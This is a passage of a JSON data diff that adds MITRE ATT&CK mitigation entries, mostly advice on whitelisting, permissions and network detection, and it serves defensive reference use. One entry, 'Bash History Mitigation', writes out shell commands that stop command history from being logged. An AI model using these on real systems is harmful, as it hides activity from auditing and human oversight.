"external_id": "T1165" + } + }, + { + "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Execution through API Mitigation - T1106", + "uuid": "56db6ccc-433d-4411-8383-c3fd7053e2c8", + "meta": { + "external_id": "T1106" + } + }, + { + "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nReduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Taint Shared Content Mitigation - T1080", + "uuid": "f0a42cad-9b1f-44da-a672-718f18381018", + "meta": { + "external_id": "T1080" + } + }, + { + "description": "Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Redundant Access Mitigation - T1108", + "uuid": "f9b3e5d9-7454-4b7d-bce6-27620e19924e", + "meta": { + "external_id": "T1108" + } + }, + { + "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.", + "value": "Domain Fronting Mitigation - T1172", + "uuid": "62ae52c9-7197-4f5b-be1d-10d2e1df2c96", + "meta": { + "external_id": "T1172" + } + }, + { + "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nBlock unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in Obfuscated Files or Information.\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.", + "value": "Spearphishing Attachment Mitigation - T1193", + "uuid": "8f6b5ca6-263a-4ea9-98f3-afd2a3cd8119", + "meta": { + "external_id": "T1193" + } + }, + { + "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Audio Capture Mitigation - T1123", + "uuid": "16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d", + "meta": { + "external_id": "T1123" + } + }, + { + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "New Service Mitigation - T1050", + "uuid": "b7b2c89c-09c1-4b71-ae7c-000ec2893aab", + "meta": { + "external_id": "T1050" + } + }, + { + "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)", + "value": "CMSTP Mitigation - T1191", + "uuid": "91816292-3686-4a6e-83c4-4c08513b9b57", + "meta": { + "external_id": "T1191" + } + }, + { + "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.\n\nConfigure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)", + "value": "Scripting Mitigation - T1064", + "uuid": "57019a80-8523-46b6-be7d-f763a15a2cc6", + "meta": { + "external_id": "T1064" + } + }, + { + "description": "Prevent plist files from being modified by users by making them read-only.", + "value": "Plist Modification Mitigation - T1150", + "uuid": "2d704e56-e689-4011-b989-bf4e025a8727", + "meta": { + "external_id": "T1150" + } + }, + { + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)", + "value": "Rundll32 Mitigation - T1085", + "uuid": "8c918d8a-11c5-4ffd-af10-e74bc06bdfae", + "meta": { + "external_id": "T1085" + } + }, + { + "description": "Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.", + "value": "Credentials in Registry Mitigation - T1214", + "uuid": "4490fee2-5c70-4db3-8db5-8d88767dbd55", + "meta": { + "external_id": "T1214" + } + }, + { + "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like Domain Fronting.", + "value": "Multi-hop Proxy Mitigation - T1188", + "uuid": "752db800-ea54-4e7a-b4c1-2a0292350ea7", + "meta": { + "external_id": "T1188" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Fallback Channels Mitigation - T1008", + "uuid": "515f6584-fa98-44fe-a4e8-e428c7188514", + "meta": { + "external_id": "T1008" + } + }, + { + "description": "Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.", + "value": "Exploitation for Client Execution Mitigation - T1203", + "uuid": "f2dcee22-c275-405e-87fd-48630a19dfba", + "meta": { + "external_id": "T1203" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "System Service Discovery Mitigation - T1007", + "uuid": "d8787791-d22e-45bb-a9a8-251d8d0a1ff2", + "meta": { + "external_id": "T1007" + } + }, + { + "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", + "value": "Indicator Removal on Host Mitigation - T1070", + "uuid": "6cac62ce-550b-4793-8ee6-6a1b8836edb0", + "meta": { + "external_id": "T1070" + } + }, + { + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "value": "Service Registry Permissions Weakness Mitigation - T1058", + "uuid": "9378f139-10ef-4e4b-b679-2255a0818902", + "meta": { + "external_id": "T1058" + } + }, + { + "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)", + "value": "Kerberoasting Mitigation - T1208", + "uuid": "a3e12b04-8598-4909-8855-2c97c1e7d549", + "meta": { + "external_id": "T1208" + } + }, + { + "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Timestomp Mitigation - T1099", + "uuid": "5c167af7-c2cb-42c8-ae67-3fb275bf8488", + "meta": { + "external_id": "T1099" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "System Network Configuration Discovery Mitigation - T1016", + "uuid": "684feec3-f9ba-4049-9d8f-52d52f3e0e40", + "meta": { + "external_id": "T1016" + } + }, + { + "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.", + "value": "Execution through Module Load Mitigation - T1129", + "uuid": "cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf", + "meta": { + "external_id": "T1129" + } + }, + { + "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.", + "value": "Shared Webroot Mitigation - T1051", + "uuid": "43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5", + "meta": { + "external_id": "T1051" + } + }, + { + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Scheduled Task Mitigation - T1053", + "uuid": "f2cb6ce2-188d-4162-8feb-594f949b13dd", + "meta": { + "external_id": "T1053" + } + }, + { + "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Binary Padding Mitigation - T1009", + "uuid": "16a8ac85-a06f-460f-ad22-910167bd7332", + "meta": { + "external_id": "T1009" + } + }, + { + "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Network Sniffing Mitigation - T1040", + "uuid": "46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4", + "meta": { + "external_id": "T1040" + } + }, + { + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Data Encrypted Mitigation - T1022", + "uuid": "2a8de25c-f743-4348-b101-3ee33ab5871b", + "meta": { + "external_id": "T1022" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)", + "value": "Standard Cryptographic Protocol Mitigation - T1032", + "uuid": "a766ce73-5583-48f3-b7c0-0bb43c6ef8c7", + "meta": { + "external_id": "T1032" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)", + "value": "Multilayer Encryption Mitigation - T1079", + "uuid": "24478001-2eb3-4b06-a02e-96b3d61d27ec", + "meta": { + "external_id": "T1079" + } + }, + { + "description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Masquerading Mitigation - T1036", + "uuid": "45e7f570-6a0b-4095-bf02-4bca05da6bae", + "meta": { + "external_id": "T1036" + } + }, + { + "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "File System Logical Offsets Mitigation - T1006", + "uuid": "902286b2-96cc-4dd7-931f-e7340c9961da", + "meta": { + "external_id": "T1006" + } + }, + { + "description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire Valid Accounts that can be used by existing services.", + "value": "Remote Services Mitigation - T1021", + "uuid": "979e6485-7a2f-42bd-ae96-4e622c3cd173", + "meta": { + "external_id": "T1021" + } + }, + { + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "File Deletion Mitigation - T1107", + "uuid": "34efb2fd-4dc2-40d4-a564-0c147c85034d", + "meta": { + "external_id": "T1107" + } + }, + { + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.", + "value": "Data Compressed Mitigation - T1002", + "uuid": "28adf6fd-ab6c-4553-9aa7-cef18a191f33", + "meta": { + "external_id": "T1002" + } + }, + { + "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.", + "value": "AppleScript Mitigation - T1155", + "uuid": "1e4ef2c7-ee96-4484-9baa-3b5777561301", + "meta": { + "external_id": "T1155" + } + }, + { + "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer which have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "value": "Mshta Mitigation - T1170", + "uuid": "d2dce10b-3562-4d61-b2f5-7c6384b038e2", + "meta": { + "external_id": "T1170" + } + }, + { + "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "value": "Authentication Package Mitigation - T1131", + "uuid": "943d370b-2054-44df-8be2-ab4139bde1c5", + "meta": { + "external_id": "T1131" + } + }, + { + "description": "Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.", + "value": "Signed Binary Proxy Execution Mitigation - T1218", + "uuid": "28c0f30c-32c3-4c6c-a474-74820e55854f", + "meta": { + "external_id": "T1218" + } + }, + { + "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", + "value": "Bash History Mitigation - T1139", + "uuid": "ace4daee-f914-4707-be75-843f16da2edf", + "meta": { + "external_id": "T1139" + } + }, + { + "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.", + "value": "Port Monitors Mitigation - T1013", + "uuid": "1c6bc7f3-d517-4971-aed4-8f939090846b", + "meta": { + "external_id": "T1013" + } + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.", + "value": "Image File Execution Options Injection Mitigation - T1183", + "uuid": "33f76731-b840-446f-bee0-53687dad24d9", + "meta": { + "external_id": "T1183" + } + }, + { + "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.\n\nIf a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files in Obfuscated Files or Information.\n\nIf a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.", + "value": "User Execution Mitigation - T1204", + "uuid": "548bf7ad-e19c-4d74-84bf-84ac4e57f505", + "meta": { + "external_id": "T1204" + } + }, + { + "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn\u2019t included as part of an update, it should be investigated.", + "value": "LC_LOAD_DYLIB Addition Mitigation - T1161", + "uuid": "77fd4d73-6b79-4593-82e7-e4a439cc7604", + "meta": { + "external_id": "T1161" + } + }, + { + "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and Bypass User Account Control opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.", + "value": "Man in the Browser Mitigation - T1185", + "uuid": "94f6b4f5-b528-4f50-91d5-f66457c2f8f7", + "meta": { + "external_id": "T1185" + } + }, + { + "description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)", + "value": "Screensaver Mitigation - T1180", + "uuid": "9da16278-c6c5-4410-8a6b-9c16ce8005b3", + "meta": { + "external_id": "T1180" + } + }, + { + "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Accessibility Features Mitigation - T1015", + "uuid": "c085476e-1964-4d7f-86e1-d8657a7741e8", + "meta": { + "external_id": "T1015" + } + }, + { + "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)", + "value": "Bootkit Mitigation - T1067", + "uuid": "96150c35-466f-4f0a-97a9-ae87ee27f751", + "meta": { + "external_id": "T1067" + } + }, + { + "description": "Take measures to detect or prevent techniques such as Credential Dumping or installation of keyloggers to acquire credentials through Input Capture. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access). Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege)", + "value": "Valid Accounts Mitigation - T1078", + "uuid": "d45f03a8-790a-4f90-b956-cd7e5b8886bf", + "meta": { + "external_id": "T1078" + } + }, + { + "description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.", + "value": "Browser Extensions Mitigation - T1176", + "uuid": "b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8", + "meta": { + "external_id": "T1176" + } + }, + { + "description": "Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.", + "value": "Disabling Security Tools Mitigation - T1089", + "uuid": "388606d3-f38f-45bf-885d-a9dc9df3c8a8", + "meta": { + "external_id": "T1089" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Query Registry Mitigation - T1012", + "uuid": "0640214c-95af-4c04-a574-2a1ba6dda00b", + "meta": { + "external_id": "T1012" + } + }, + { + "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", + "value": ".bash_profile and .bashrc Mitigation - T1156", + "uuid": "4f170666-7edb-4489-85c2-9affa28a72e0", + "meta": { + "external_id": "T1156" + } + }, + { + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)", + "value": "System Firmware Mitigation - T1019", + "uuid": "25e53928-6f33-49b7-baee-8180578286f6", + "meta": { + "external_id": "T1019" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Multiband Communication Mitigation - T1026", + "uuid": "da987565-27b6-4b31-bbcd-74b909847116", + "meta": { + "external_id": "T1026" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Remote System Discovery Mitigation - T1018", + "uuid": "9a902722-cecd-4fbe-a6c9-49333aa0f8c2", + "meta": { + "external_id": "T1018" + } + }, + { + "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "File and Directory Discovery Mitigation - T1083", + "uuid": "2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1", + "meta": { + "external_id": "T1083" + } + }, + { + "description": "Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)", + "value": "Kernel Modules and Extensions Mitigation - T1215", + "uuid": "44155d14-ca75-4fdf-b033-ab3d732e2884", + "meta": { + "external_id": "T1215" + } + }, + { + "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users 